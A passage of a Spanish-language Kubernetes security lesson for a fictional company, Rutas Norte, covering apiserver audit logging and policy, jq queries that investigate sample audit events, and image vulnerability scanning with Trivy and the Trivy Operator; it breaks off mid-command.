A lo largo de este módulo hemos cerrado cuatro dimensiones de la seguridad de Rutas Norte: quién puede hacer qué (08-01), qué puede hacer un contenedor (08-02 y 08-03), qué habla con qué (08-04) y qué imágenes se ejecutan (08-05). Hemos puesto puertas en todas partes.
Pero quedaron dos preguntas sin respuesta, y son exactamente las dos que hace cualquier auditoría.
La primera es "¿quién hizo qué?". Si mañana descubrimos que el Secret con las credenciales de postgres-reservas fue leído, o que un Deployment desapareció, o que una ServiceAccount hizo algo extraño a las tres de la madrugada, ahora mismo no tenemos forma de saberlo. Hemos puesto puertas, pero no llevamos registro de quién las cruza.
La segunda es "¿qué agujeros tengo ahora mismo?". Sabemos escanear una imagen antes de publicarla, pero las que llevan meses en producción acumulan vulnerabilidades nuevas cada semana y nadie las está mirando. Y no solo las imágenes: la configuración del propio clúster puede tener desviaciones que nadie ha revisado.
Esta lección cierra el módulo respondiendo a las dos, y termina con lo que de verdad falta en la mayoría de los equipos: la gestión de vulnerabilidades como proceso, no como una lista de alertas que nadie mira.
Advertencia importante. La política de auditoría, los umbrales de vulnerabilidad y el proceso de gestión que se describen aquí son un ejemplo razonable, no una plantilla universal. Debe diseñarlos y revisarlos un profesional de seguridad conociendo el modelo de amenazas de la organización. Y como el registro de auditoría de Rutas Norte documenta accesos a sistemas que tratan datos personales de clientes, tanto su contenido como su plazo de conservación deben ser aprobados por el responsable de cumplimiento normativo: un registro de auditoría mal configurado puede convertirse en sí mismo en una fuente de datos personales que hay que proteger. El enfoque de esta lección es exclusivamente defensivo: detectar, registrar y corregir.
Contenido
- El registro de auditoría del apiserver
- La política de auditoría y sus cuatro niveles
- Una política razonable para Rutas Norte
- Análisis práctico de eventos de auditoría
- Escaneo de vulnerabilidades de imágenes con Trivy
- El Trivy Operator dentro del clúster
- Evaluación del clúster con kube-bench y los estándares CIS
- Detección en tiempo de ejecución con Falco
- Integrar las alertas de Falco con Alertmanager
- Gestión de vulnerabilidades como proceso
- Evidencias y auditorías de cumplimiento
- Lista de verificación final de seguridad de la plataforma
- Errores comunes y consejos
- Ejercicios
- Conclusión
- El registro de auditoría del apiserver
Recuerda de 08-01 que todo en Kubernetes pasa por el apiserver: kubectl, los controladores, el kubelet, los operadores, informes-ocupacion. Eso convierte al apiserver en el punto perfecto para registrar quién hace qué.
El registro de auditoría (audit log) es un flujo de eventos en JSON que documenta cada petición: quién la hizo, desde dónde, qué pidió, qué respondió el servidor y cuándo.
Las cuatro etapas de una petición
Cada petición puede generar hasta cuatro eventos, según en qué momento se registre:
| Etapa | Cuándo se emite | Uso |
|---|---|---|
RequestReceived |
Nada más llegar la petición | Detectar peticiones que se quedan colgadas |
ResponseStarted |
Al empezar a responder | Solo para peticiones largas (watch) |
ResponseComplete |
Al terminar la respuesta | El evento útil por defecto |
Panic |
Si el servidor falla | Diagnóstico de fallos internos |
Casi siempre interesa solo ResponseComplete: es un evento por petición, con el resultado ya conocido.
Anatomía de un evento
{
"kind": "Event",
"apiVersion": "audit.k8s.io/v1",
"level": "Metadata",
"auditID": "8f3c1e94-2b7a-4d5e-9c81-6a4f2e8d1b03",
"stage": "ResponseComplete",
"requestURI": "/api/v1/namespaces/rutas-norte-pro/secrets/postgres-reservas-credenciales",
"verb": "get",
"user": {
"username": "[email protected]",
"groups": ["plataforma", "system:authenticated"]
},
"sourceIPs": ["10.4.12.87"],
"userAgent": "kubectl/v1.30.3 (linux/amd64) kubernetes/6fc0a69",
"objectRef": {
"resource": "secrets",
"namespace": "rutas-norte-pro",
"name": "postgres-reservas-credenciales",
"apiVersion": "v1"
},
"responseStatus": { "metadata": {}, "code": 200 },
"requestReceivedTimestamp": "2026-08-06T03:14:22.481930Z",
"stageTimestamp": "2026-08-06T03:14:22.489114Z",
"annotations": {
"authorization.k8s.io/decision": "allow",
"authorization.k8s.io/reason": "RoleBinding \"plataforma-admin\" of ClusterRole \"admin\" to Group \"plataforma\""
}
}Lee ese evento con atención, porque resume todo el módulo. Nos dice:
- Quién:
[email protected], del grupoplataforma. - Qué: leyó (
get) el Secret con las credenciales de la base de datos de clientes. - Cuándo: a las 03:14 de la madrugada.
- Desde dónde: la IP 10.4.12.87, con
kubectl. - Con qué permiso: el
RoleBindingque escribimos en 08-01. - Resultado: 200, es decir, lo consiguió.
Sin registro de auditoría, ninguna de esas seis cosas sería conocible. Con él, la pregunta "¿alguien leyó las credenciales de la base de datos?" tiene respuesta en segundos.
Fíjate especialmente en el campo annotations: la anotación authorization.k8s.io/reason te dice qué binding de RBAC concedió el permiso. Es una herramienta de auditoría de RBAC extraordinaria: cuando veas un acceso que no esperabas, esa línea te dice exactamente qué manifiesto hay que corregir.
Configurar el registro de auditoría
Requiere tocar los parámetros del apiserver, así que necesitas acceso al plano de control:
# /etc/kubernetes/manifests/kube-apiserver.yaml (fragmento)
spec:
containers:
- name: kube-apiserver
command:
- kube-apiserver
# Fichero con la política: qué se registra y con qué detalle
- --audit-policy-file=/etc/kubernetes/auditoria/politica.yaml
# Destino de fichero
- --audit-log-path=/var/log/kubernetes/auditoria.log
- --audit-log-maxage=90 # días que se conservan
- --audit-log-maxbackup=30 # número de ficheros rotados
- --audit-log-maxsize=200 # MB por fichero antes de rotar
- --audit-log-format=json
volumeMounts:
- name: politica-auditoria
mountPath: /etc/kubernetes/auditoria
readOnly: true
- name: logs-auditoria
mountPath: /var/log/kubernetes
volumes:
- name: politica-auditoria
hostPath:
path: /etc/kubernetes/auditoria
type: DirectoryOrCreate
- name: logs-auditoria
hostPath:
path: /var/log/kubernetes
type: DirectoryOrCreateEn Kubernetes gestionado (10-06) esto se configura desde el proveedor: EKS envía los logs a CloudWatch, AKS a Azure Monitor y GKE a Cloud Logging. La política suele ser fija o parcialmente configurable, lo que es una limitación real a tener en cuenta.
Fichero o webhook
| Destino | Cómo funciona | A favor | En contra |
|---|---|---|---|
| Fichero | Se escribe en el disco del nodo de control | Sencillo, sin dependencias, no se pierde si la red falla | Está en el nodo: quien lo comprometa puede borrarlo. Hay que recogerlo |
| Webhook | Se envía a un servicio HTTP externo | Centralizado, fuera del alcance de quien comprometa el clúster, retención independiente | Si el destino no responde, se pueden perder eventos; añade latencia |
# /etc/kubernetes/auditoria/webhook.yaml
apiVersion: v1
kind: Config
clusters:
- name: recolector-auditoria
cluster:
server: https://auditoria.rutasnorte.example/eventos
certificate-authority: /etc/kubernetes/pki/ca-auditoria.crt
contexts:
- name: auditoria
context:
cluster: recolector-auditoria
user: apiserver-rutasnorte
current-context: auditoria
users:
- name: apiserver-rutasnorte
user:
client-certificate: /etc/kubernetes/pki/apiserver-auditoria.crt
client-key: /etc/kubernetes/pki/apiserver-auditoria.key - --audit-webhook-config-file=/etc/kubernetes/auditoria/webhook.yaml
- --audit-webhook-mode=batch # agrupa eventos: menos latencia
- --audit-webhook-batch-max-size=400
- --audit-webhook-batch-max-wait=30sRecomendación para Rutas Norte: los dos. Fichero como red de seguridad local, y webhook hacia el sistema de logs centralizado.
Y aquí hay un punto de diseño importante que conecta con el módulo 7: el destino del webhook no debe ser el mismo Elasticsearch al que van los logs de aplicación. La razón es de contención: si alguien compromete el clúster, tiene acceso al Elasticsearch donde escriben los pods, y podría manipular o borrar las evidencias. El registro de auditoría debe ir a un sistema al que el clúster solo pueda escribir, nunca leer ni borrar. Es una diferencia arquitectónica pequeña con una consecuencia enorme durante un incidente.
- La política de auditoría y sus cuatro niveles
Registrarlo todo con máximo detalle es inviable: un clúster mediano genera decenas de miles de peticiones por minuto, la mayoría de ellas ruido (el kubelet informando del estado de los nodos, los controladores observando cambios). La política decide qué se registra y con cuánto detalle.
Los cuatro niveles
| Nivel | Qué registra | Tamaño | Cuándo usarlo |
|---|---|---|---|
None |
Nada. Descarta el evento | 0 | Ruido conocido: sondas, peticiones de sistema |
Metadata |
Quién, qué, cuándo, resultado. Sin cuerpos | Pequeño | El nivel por defecto para casi todo |
Request |
Metadatos + el cuerpo enviado | Grande | Escrituras que hay que poder reconstruir |
RequestResponse |
Metadatos + cuerpo enviado y devuelto | Muy grande | Casos muy concretos y justificados |
Aviso crítico sobre
RequestResponsey los Secrets. Si registrasRequestResponsesobresecrets, el contenido del secreto queda escrito en texto en el fichero de auditoría. Las credenciales depostgres-reservasacabarían en el log, que probablemente se replica al sistema de logs centralizado y a sus copias de seguridad. Habrías convertido tu registro de auditoría en el peor almacén de secretos posible.Para Secrets, usa siempre
Metadata. Saber quién leyó el secreto es exactamente lo que necesitas; saber qué contenía lo sabes ya, y no debe estar en ningún log.
El mismo razonamiento aplica a cualquier recurso que pueda contener datos personales. Si api-reservas tuviera un recurso personalizado con datos de clientes, Request sobre él registraría esos datos en el log de auditoría. Es exactamente el tipo de decisión que debe revisar el responsable de cumplimiento.
Cómo se evalúa la política
Es una lista ordenada de reglas. Se aplica la primera que coincide y se descartan las demás. El orden lo es todo:
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
- level: None # <- esta se evalúa primero
resources:
- group: ""
resources: ["events"]
- level: Metadata # <- solo se llega aquí si la anterior no coincidióPoner las reglas de None (el ruido) al principio y las específicas después es lo que hace que el fichero sea manejable.
Criterios de coincidencia
| Campo | Qué filtra | Ejemplo |
|---|---|---|
users |
Nombres de usuario exactos | system:kube-scheduler |
userGroups |
Grupos | system:nodes |
verbs |
Operaciones | ["get", "list", "watch"] |
resources |
Grupo de API y recursos | {group: "", resources: ["secrets"]} |
namespaces |
Namespaces | ["rutas-norte-pro"] |
nonResourceURLs |
Rutas que no son recursos | ["/healthz*", "/version"] |
omitStages |
Etapas que no se registran | ["RequestReceived"] |
- Una política razonable para Rutas Norte
El objetivo es registrar en detalle lo que importa —accesos a Secrets, escrituras en producción, cambios de RBAC— sin ahogarse en ruido.
# /etc/kubernetes/auditoria/politica.yaml
apiVersion: audit.k8s.io/v1
kind: Policy
# RequestReceived duplica cada evento sin aportar nada en el caso general
omitStages:
- RequestReceived
rules:
# ============================================================
# BLOQUE 1: ruido que NO se registra (va primero, por orden)
# ============================================================
# Comprobaciones de salud y descubrimiento de la API: miles por minuto
- level: None
nonResourceURLs:
- /healthz*
- /livez*
- /readyz*
- /version
- /openapi*
- /apis
- /apis/*
- /api
- /api/*
- /metrics
# Los nodos informando de su estado constantemente
- level: None
users: ["system:kubelet"]
userGroups: ["system:nodes"]
verbs: ["get", "list", "watch"]
resources:
- group: ""
resources: ["nodes", "nodes/status", "pods", "endpoints"]
# Los controladores del plano de control observando cambios
- level: None
userGroups: ["system:serviceaccounts:kube-system"]
verbs: ["get", "list", "watch"]
# Los eventos de Kubernetes: son muchísimos y ya se recogen aparte (07-06)
- level: None
resources:
- group: ""
resources: ["events"]
# Renovación de arrendamientos de elección de líder: constante y sin interés
- level: None
resources:
- group: "coordination.k8s.io"
resources: ["leases"]
# ============================================================
# BLOQUE 2: lo crítico, con el máximo detalle que es seguro
# ============================================================
# --- SECRETS: quién los toca, SIEMPRE, en todos los namespaces ---
# Nivel Metadata a propósito: registrar el contenido escribiría
# las credenciales de la base de datos de clientes en el log.
- level: Metadata
resources:
- group: ""
resources: ["secrets"]
omitStages:
- RequestReceived
# --- Emisión de tokens de ServiceAccount: vía de suplantación (08-01) ---
- level: Metadata
resources:
- group: ""
resources: ["serviceaccounts/token"]
# --- RBAC: cualquier cambio en quién puede hacer qué ---
# Aquí sí Request: queremos poder reconstruir exactamente qué permiso
# se concedió. Un Role no contiene datos personales.
- level: Request
resources:
- group: "rbac.authorization.k8s.io"
resources: ["roles", "rolebindings", "clusterroles", "clusterrolebindings"]
# --- Políticas de admisión y de red: desactivarlas es un ataque ---
- level: Request
resources:
- group: "admissionregistration.k8s.io"
- group: "kyverno.io"
- group: "networking.k8s.io"
resources: ["networkpolicies"]
- group: "policy"
# --- Configuración de los namespaces: incluye las etiquetas del PSA (08-03) ---
- level: Request
verbs: ["create", "update", "patch", "delete"]
resources:
- group: ""
resources: ["namespaces"]
# ============================================================
# BLOQUE 3: producción, con más detalle que el resto
# ============================================================
# Toda ESCRITURA en rutas-norte-pro, con el cuerpo de la petición
- level: Request
verbs: ["create", "update", "patch", "delete", "deletecollection"]
namespaces: ["rutas-norte-pro"]
# Operaciones interactivas sobre pods: exec, attach, port-forward,
# contenedores efímeros. Son las de mayor riesgo (08-01).
- level: Request
resources:
- group: ""
resources:
- pods/exec
- pods/attach
- pods/portforward
- pods/ephemeralcontainers
# Lectura de logs: pueden contener información de clientes
- level: Metadata
resources:
- group: ""
resources: ["pods/log"]
# ============================================================
# BLOQUE 4: el resto
# ============================================================
# Escrituras en cualquier otro namespace: metadatos
- level: Metadata
verbs: ["create", "update", "patch", "delete", "deletecollection"]
# Todo lo demás (lecturas normales): metadatos
- level: MetadataLas decisiones, explicadas
| Decisión | Razón |
|---|---|
omitStages: [RequestReceived] global |
Divide el volumen por dos sin perder información útil |
None para sondas y descubrimiento |
Es el 70-80 % del volumen y no aporta nada |
None para el kubelet y los controladores en lectura |
Ruido constante de funcionamiento normal |
Metadata para Secrets, nunca Request |
Registrar el contenido escribiría las credenciales en el log |
Request para RBAC |
Queremos poder reconstruir qué permiso exacto se concedió |
Request para políticas de admisión y de red |
Desactivarlas es el paso previo a otras acciones |
Request para escrituras en rutas-norte-pro |
Producción merece más detalle |
Request para pods/exec y afines |
Máximo riesgo: acceso interactivo a un contenedor |
Metadata para pods/log |
Saber quién leyó logs, sin duplicar su contenido |
Estimación de volumen
Antes de aplicar la política en producción, mide. En rutas-norte-pre:
# Tamaño del log en una hora
ls -lh /var/log/kubernetes/auditoria.log
# Distribución por nivel
jq -r '.level' /var/log/kubernetes/auditoria.log | sort | uniq -c | sort -rn# Qué recursos generan más eventos: candidatos a añadir a la lista de None
jq -r '.objectRef.resource // "sin-recurso"' /var/log/kubernetes/auditoria.log \
| sort | uniq -c | sort -rn | head -10 6218 pods
3891 configmaps
2104 endpointslices
1877 deployments
1442 secrets
998 replicasets
712 services
488 nodes
301 rolebindings
94 pods/logEsa tabla es la guía para afinar la política. Si endpointslices genera 2.100 eventos y nunca vas a consultarlos, añádelos a None.
Con la política anterior, un clúster del tamaño de Rutas Norte genera del orden de 1-3 GB al día. Con 90 días de retención, unos 100-250 GB. Es perfectamente manejable, pero hay que planificarlo y no descubrirlo cuando se llene el disco del nodo de control (lo que, además, detiene el apiserver: si no puede escribir el log de auditoría, deja de servir peticiones).
- Análisis práctico de eventos de auditoría
El log de auditoría solo vale si sabes consultarlo. Aquí van las consultas que se necesitan de verdad, resolviendo preguntas concretas.
Pregunta 1: ¿quién leyó las credenciales de la base de datos?
Es la pregunta de este módulo.
jq -r 'select(
.objectRef.resource == "secrets" and
.objectRef.namespace == "rutas-norte-pro" and
(.verb == "get" or .verb == "list" or .verb == "watch")
)
| "\(.stageTimestamp) \(.user.username) \(.verb) \(.objectRef.name // "TODOS") \(.sourceIPs[0]) \(.responseStatus.code)"' \
/var/log/kubernetes/auditoria.log | sort2026-08-05T09:12:04Z system:serviceaccount:rutas-norte-pro:api-reservas get api-reservas-bd 10.244.2.19 200
2026-08-05T14:33:41Z [email protected] get postgres-reservas-credenciales 10.4.12.87 200
2026-08-06T03:14:22Z [email protected] get postgres-reservas-credenciales 10.4.12.87 200
2026-08-06T03:14:58Z [email protected] list TODOS 10.4.12.203 403Cuatro líneas, cuatro historias:
- La primera es normal: la ServiceAccount de
api-reservasleyendo su propio secreto. - La segunda es una lectura de
plataformaen horario laboral. Verificable con un ticket. - La tercera es la misma persona a las 03:14 de la madrugada. No es necesariamente malicioso —puede haber sido una incidencia nocturna— pero es una anomalía que hay que confirmar.
- La cuarta es un
403:carlos.vega, del grupodesarrollo, intentó listar todos los secretos de producción. El RBAC de 08-01 lo denegó. Que un desarrollador intente eso a las 03:14 merece una conversación, y si no fue él, es un incidente grave: alguien está usando sus credenciales.
Fíjate en el valor de registrar también los intentos fallidos. Un 403 es una señal de detección, no un no-evento.
Pregunta 2: ¿quién borró aquel Deployment?
jq -r 'select(
.verb == "delete" and
.objectRef.resource == "deployments" and
.objectRef.namespace == "rutas-norte-pro"
)
| "\(.stageTimestamp) \(.user.username) borró \(.objectRef.name) desde \(.sourceIPs[0]) agente=\(.userAgent)"' \
/var/log/kubernetes/auditoria.log2026-08-05T16:47:12Z system:serviceaccount:argocd:argocd-application-controller borró exportador-legado desde 10.244.1.8 agente=argocd-application-controller/v2.12.3Respuesta inmediata: lo borró Argo CD, es decir, alguien eliminó ese manifiesto del repositorio de Git. La pregunta se traslada al historial de commits. Sin auditoría, esto habría sido una tarde de conjeturas.
Pregunta 3: ¿qué hizo esa ServiceAccount?
SA="system:serviceaccount:rutas-norte-pro:worker-notificaciones"
jq -r --arg sa "$SA" 'select(.user.username == $sa)
| "\(.stageTimestamp) \(.verb) \(.objectRef.resource // "-")/\(.objectRef.name // "-") \(.responseStatus.code)"' \
/var/log/kubernetes/auditoria.log | sort | uniq -c | sort -rn | head -20 42 2026-08-06T... get configmaps/worker-config 200
3 2026-08-06T... list secrets/- 403
1 2026-08-06T... create pods/exec 403Las dos últimas líneas son una señal de alarma clara. worker-notificaciones no tiene ningún motivo para intentar listar secretos ni para intentar abrir una shell en un pod. Los 403 confirman que el RBAC funcionó, pero que un proceso esté intentando esas operaciones significa que está haciendo algo que no debería.
Compara con el ejercicio de 08-04, donde ese mismo componente aparecía sondeando la red: si ambas señales coinciden en el tiempo, tienes un pod comprometido, y ahora tienes evidencia desde dos fuentes independientes.
Pregunta 4: ¿quién ha entrado en contenedores de producción?
jq -r 'select(
(.objectRef.subresource == "exec" or .objectRef.subresource == "attach" or
.objectRef.subresource == "ephemeralcontainers") and
.objectRef.namespace == "rutas-norte-pro"
)
| "\(.stageTimestamp) \(.user.username) \(.objectRef.subresource) pod=\(.objectRef.name) \(.responseStatus.code)"' \
/var/log/kubernetes/auditoria.log2026-08-04T11:02:33Z [email protected] exec pod=api-reservas-6d4f8b9c7-k2m4x 101
2026-08-06T02:58:14Z [email protected] exec pod=postgres-reservas-0 403El código 101 es "cambio de protocolo": la sesión se estableció. El 403 de la segunda línea confirma que el RBAC de 08-01 impidió que alguien de desarrollo entrase en la base de datos de clientes. Exactamente lo que diseñamos.
Pregunta 5: ¿ha cambiado alguien el RBAC?
jq -r 'select(
.objectRef.apiGroup == "rbac.authorization.k8s.io" and
(.verb == "create" or .verb == "update" or .verb == "patch" or .verb == "delete")
)
| "\(.stageTimestamp) \(.user.username) \(.verb) \(.objectRef.resource)/\(.objectRef.name)"' \
/var/log/kubernetes/auditoria.log2026-08-06T01:33:07Z [email protected] create clusterrolebindings/depuracion-temporalUn ClusterRoleBinding creado a la una de la madrugada con un nombre que dice "temporal". Con level: Request en la política de RBAC, podemos ver exactamente qué concedía:
jq -r 'select(.objectRef.name == "depuracion-temporal") | .requestObject' \
/var/log/kubernetes/auditoria.log{
"kind": "ClusterRoleBinding",
"apiVersion": "rbac.authorization.k8s.io/v1",
"metadata": { "name": "depuracion-temporal" },
"roleRef": {
"apiGroup": "rbac.authorization.k8s.io",
"kind": "ClusterRole",
"name": "cluster-admin"
},
"subjects": [
{ "kind": "Group", "name": "desarrollo", "apiGroup": "rbac.authorization.k8s.io" }
]
}Alguien concedió cluster-admin a todo el equipo de desarrollo durante una incidencia nocturna. Si sigue existiendo, es un hallazgo grave. Esta es precisamente la clase de cosa que el apartado 11 de la lección 08-01 nos decía que hay que buscar en la revisión trimestral, y ahora tenemos la fecha, la hora y el responsable.
Un guion de informe diario
#!/usr/bin/env bash
# seguridad/informe-auditoria-diario.sh
# Resumen diario de eventos de auditoría relevantes.
set -euo pipefail
LOG="${1:-/var/log/kubernetes/auditoria.log}"
FECHA=$(date -u +%Y-%m-%d)
echo "=== Informe de auditoría — $FECHA ==="
echo
echo "--- Accesos a Secrets de rutas-norte-pro ---"
jq -r 'select(.objectRef.resource == "secrets" and .objectRef.namespace == "rutas-norte-pro")
| "\(.user.username)"' "$LOG" | sort | uniq -c | sort -rn
echo
echo "--- Sesiones interactivas en producción (exec/attach/debug) ---"
jq -r 'select((.objectRef.subresource // "") | test("exec|attach|ephemeralcontainers"))
| select(.objectRef.namespace == "rutas-norte-pro")
| "\(.stageTimestamp) \(.user.username) \(.objectRef.name)"' "$LOG"
echo
echo "--- Cambios en RBAC ---"
jq -r 'select(.objectRef.apiGroup == "rbac.authorization.k8s.io")
| select(.verb | test("create|update|patch|delete"))
| "\(.stageTimestamp) \(.user.username) \(.verb) \(.objectRef.resource)/\(.objectRef.name)"' "$LOG"
echo
echo "--- Peticiones DENEGADAS (403): posible sondeo ---"
jq -r 'select(.responseStatus.code == 403)
| "\(.user.username) -> \(.verb) \(.objectRef.resource // .requestURI)"' "$LOG" \
| sort | uniq -c | sort -rn | head -15
echo
echo "--- Violaciones registradas por el Pod Security Admission (08-03) ---"
jq -r 'select(.annotations["pod-security.kubernetes.io/audit-violations"] != null)
| "\(.objectRef.namespace)/\(.objectRef.name): \(.annotations["pod-security.kubernetes.io/audit-violations"])"' \
"$LOG" | sort -uEsa última sección conecta directamente con 08-03: el modo audit del PSA escribe sus violaciones como anotaciones en los eventos de auditoría. Si tienes namespaces en enforce: baseline con audit: restricted, esta consulta te dice exactamente qué pods no llegarían a restricted.
Este informe, ejecutado a diario y revisado por una persona, es una de las prácticas de seguridad con mejor relación entre esfuerzo y valor de todo el módulo.
- Escaneo de vulnerabilidades de imágenes con Trivy
En 08-05 dijimos que una imagen no se degrada: el mundo cambia a su alrededor. Ahora vamos a medir cuánto.
Trivy es un escáner que compara los componentes de una imagen (el SBOM, de hecho) con bases de datos públicas de vulnerabilidades.
Escaneo local
registry.rutasnorte.example/rutasnorte/api-reservas:2.7.1 (debian 12.7)
==========================================================================
Total: 4 (UNKNOWN: 0, LOW: 2, MEDIUM: 1, HIGH: 1, CRITICAL: 0)
┌──────────────┬────────────────┬──────────┬────────┬───────────────────┬───────────────┐
│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │
├──────────────┼────────────────┼──────────┼────────┼───────────────────┼───────────────┤
│ libssl3 │ CVE-2026-11042 │ HIGH │ fixed │ 3.0.14-1 │ 3.0.15-1 │
│ libc6 │ CVE-2026-10877 │ MEDIUM │ fixed │ 2.36-9 │ 2.36-9+deb12u1│
│ zlib1g │ CVE-2025-98004 │ LOW │ affected│ 1:1.2.13.dfsg-1 │ │
└──────────────┴────────────────┴──────────┴────────┴───────────────────┴───────────────┘
Node.js (node-pkg)
==================
Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 0, CRITICAL: 1)
┌──────────────┬────────────────┬──────────┬────────┬───────────────────┬───────────────┐
│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │
├──────────────┼────────────────┼──────────┼────────┼───────────────────┼───────────────┤
│ jsonwebtoken │ CVE-2026-12033 │ CRITICAL │ fixed │ 9.0.2 │ 9.0.3 │
└──────────────┴────────────────┴──────────┴────────┴───────────────────┴───────────────┘La columna Status es la más importante y mucha gente la ignora:
| Estado | Significado | Qué hacer |
|---|---|---|
fixed |
Hay una versión corregida disponible | Actualizar. Es accionable |
affected |
Confirmada, sin corrección aún | Mitigar o aceptar; vigilar |
will_not_fix |
El mantenedor no la va a corregir | Evaluar si afecta a tu uso |
fix_deferred |
Se corregirá más adelante | Vigilar |
end_of_life |
El componente ya no tiene soporte | Migrar: es lo más grave |
Un CRITICAL con estado fixed es urgente y sencillo: actualiza la dependencia. Un HIGH con will_not_fix requiere análisis, no acción inmediata.
Escaneo en la canalización con umbral
# .gitlab-ci.yml (fragmento) — escaneo que rompe la construcción
escanear-imagen:
stage: verificar
script:
# Actualizar la base de vulnerabilidades por separado: si falla la
# descarga, queremos saberlo, no que el escaneo pase por defecto
- trivy image --download-db-only
# Informe legible para el registro de la canalización
- trivy image --severity LOW,MEDIUM,HIGH,CRITICAL "${IMAGEN}:${VERSION}"
# Puerta de calidad: CRITICAL o HIGH con corrección disponible = falla
- |
trivy image \
--severity HIGH,CRITICAL \
--ignore-unfixed \
--exit-code 1 \
--ignorefile .trivyignore \
"${IMAGEN}:${VERSION}"
# Informe en formato SARIF para la interfaz de la plataforma de CI
- trivy image --format sarif --output trivy.sarif "${IMAGEN}:${VERSION}"
# Escaneo de secretos: credenciales olvidadas en las capas (08-05)
- trivy image --scanners secret --exit-code 1 "${IMAGEN}:${VERSION}"
artifacts:
reports:
sast: trivy.sarif
expire_in: 90 daysLas dos opciones que hacen esto viable:
--ignore-unfixed: solo falla por vulnerabilidades con corrección disponible. Sin esto, una vulnerabilidad sin parche bloquearía todos los despliegues indefinidamente, lo que lleva a que el equipo desactive la comprobación. Una puerta que siempre está cerrada acaba desmontada.--ignorefile: excepciones documentadas.
# .trivyignore
# Formato: CVE # motivo — responsable — fecha de caducidad
#
# ESTE FICHERO SE REVISA EN CADA AUDITORÍA TRIMESTRAL.
# Una excepción sin fecha de caducidad es un fallo de proceso.
# El binario afectado (openssl como herramienta de línea de órdenes) no está
# presente en la imagen distroless; solo la librería, que no usa la ruta
# vulnerable. Confirmado con el equipo de seguridad.
# Responsable: plataforma — Caduca: 2026-11-01
CVE-2026-10877
# Sin corrección disponible del mantenedor. El componente no procesa entrada
# externa en nuestro uso. Revisado 2026-08-01.
# Responsable: plataforma — Caduca: 2026-10-01
CVE-2025-98004Ese formato de comentario no es decorativo: una excepción sin motivo, sin responsable y sin fecha de caducidad es una vulnerabilidad aceptada en silencio. Lo desarrollamos en el apartado 10.
Escaneo continuo del registro
Este es el punto que cierra el hueco. Una imagen escaneada en junio puede tener vulnerabilidades críticas en agosto sin que nadie la haya tocado.
#!/usr/bin/env bash
# seguridad/escanear-registro.sh
# Escaneo semanal de todas las imágenes desplegadas en producción.
set -uo pipefail
# Obtener las imágenes que están REALMENTE corriendo, por digest
kubectl get pods -A -o json | jq -r '
.items[].status.containerStatuses[]?.imageID' \
| grep '^registry.rutasnorte.example' | sort -u > /tmp/imagenes-en-uso.txt
echo "Imágenes en ejecución: $(wc -l < /tmp/imagenes-en-uso.txt)"
hallazgos=0
while read -r imagen; do
resultado=$(trivy image --severity CRITICAL,HIGH --ignore-unfixed \
--format json --quiet "$imagen" 2>/dev/null)
n=$(echo "$resultado" | jq '[.Results[]?.Vulnerabilities[]?] | length')
if [[ "$n" -gt 0 ]]; then
echo "=== $imagen: $n vulnerabilidades con corrección disponible"
echo "$resultado" | jq -r '.Results[]?.Vulnerabilities[]?
| " \(.Severity) \(.VulnerabilityID) \(.PkgName) \(.InstalledVersion) -> \(.FixedVersion)"' \
| sort -u
hallazgos=$((hallazgos + n))
fi
done < /tmp/imagenes-en-uso.txt
echo
echo "Total de hallazgos accionables: $hallazgos"Imágenes en ejecución: 8
=== registry.rutasnorte.example/rutasnorte/api-reservas@sha256:9f2c1d...: 2 vulnerabilidades con corrección disponible
CRITICAL CVE-2026-12033 jsonwebtoken 9.0.2 -> 9.0.3
HIGH CVE-2026-11042 libssl3 3.0.14-1 -> 3.0.15-1
=== registry.rutasnorte.example/externas/postgres@sha256:2a7f4c...: 1 vulnerabilidades con corrección disponible
HIGH CVE-2026-10991 libxml2 2.9.14 -> 2.9.14+deb12u2
Total de hallazgos accionables: 3Escanear lo que está corriendo por digest, y no lo que dicen los manifiestos, es la diferencia entre saber tu situación real y suponerla. Si algún pod está ejecutando un digest distinto del esperado (recuerda 08-05), este guion lo escanea igual.
Grype como alternativa
Grype, de Anchore, es el otro escáner ampliamente usado:
| Trivy | Grype | |
|---|---|---|
| Alcance | Imágenes, sistemas de ficheros, repositorios, IaC, Kubernetes, secretos | Imágenes y SBOM |
| Integración con SBOM | Genera y consume | Consume SBOM de Syft, del mismo proyecto |
| Operador para Kubernetes | Sí (Trivy Operator) | Vía Anchore |
| Velocidad | Muy rápido | Rápido |
| Configuración | Amplia | Más simple |
Los dos son buenos y sus resultados difieren ligeramente porque usan fuentes de datos parcialmente distintas. Usar ambos en la canalización no es paranoia: es una práctica razonable, porque uno detecta cosas que al otro se le escapan. Para Rutas Norte, Trivy como principal (por el operador y la amplitud) y Grype como segunda opinión sobre el SBOM que ya generamos en 08-05.
- El Trivy Operator dentro del clúster
Escanear a mano funciona hasta que dejas de acordarte. El Trivy Operator lo automatiza: vigila las cargas de trabajo del clúster, escanea sus imágenes y publica los resultados como recursos personalizados (recuerda los CRDs de 06-06).
helm repo add aqua https://aquasecurity.github.io/helm-charts/
helm install trivy-operator aqua/trivy-operator \
--namespace trivy-system --create-namespace \
--set trivy.ignoreUnfixed=true \
--set operator.scanJobTimeout=10m \
--set operator.vulnerabilityScannerScanOnlyCurrentRevisions=true \
--set operator.scanJobsConcurrentLimit=3Ese scanJobsConcurrentLimit importa: sin él, el operador puede lanzar decenas de Jobs de escaneo simultáneos y saturar el clúster justo cuando menos falta hace.
Los informes como recursos del clúster
NAME REPOSITORY TAG SCANNER AGE CRITICAL HIGH MEDIUM LOW
replicaset-api-reservas-6d4f8b9c7-api rutasnorte/api-reservas 2.7.1 Trivy 3h 1 1 1 2
replicaset-tienda-web-6f8d9c4b7-nginx externas/nginx-unprivileged 1.27.1 Trivy 3h 0 0 2 4
statefulset-postgres-reservas-postgres externas/postgres 16.4 Trivy 3h 0 1 3 7
statefulset-redis-cache-redis externas/redis 7.4 Trivy 3h 0 0 0 2
replicaset-worker-notificaciones-6d4f8-worker rutasnorte/worker-notificaciones 3.2.0 Trivy 3h 0 0 1 3Que sean recursos de Kubernetes tiene consecuencias muy prácticas: se consultan con kubectl, se pueden filtrar con selectores, y el operador expone métricas Prometheus, así que se integran con los cuadros de mando y las alertas del módulo 7 sin ningún trabajo adicional.
# Detalle de las vulnerabilidades críticas de un informe
kubectl get vulnerabilityreport -n rutas-norte-pro \
replicaset-api-reservas-6d4f8b9c7-api -o json \
| jq -r '.report.vulnerabilities[]
